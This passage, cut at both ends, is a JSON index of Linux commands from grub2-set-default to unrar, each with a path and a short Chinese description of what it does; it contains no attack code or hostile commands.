配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统极其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 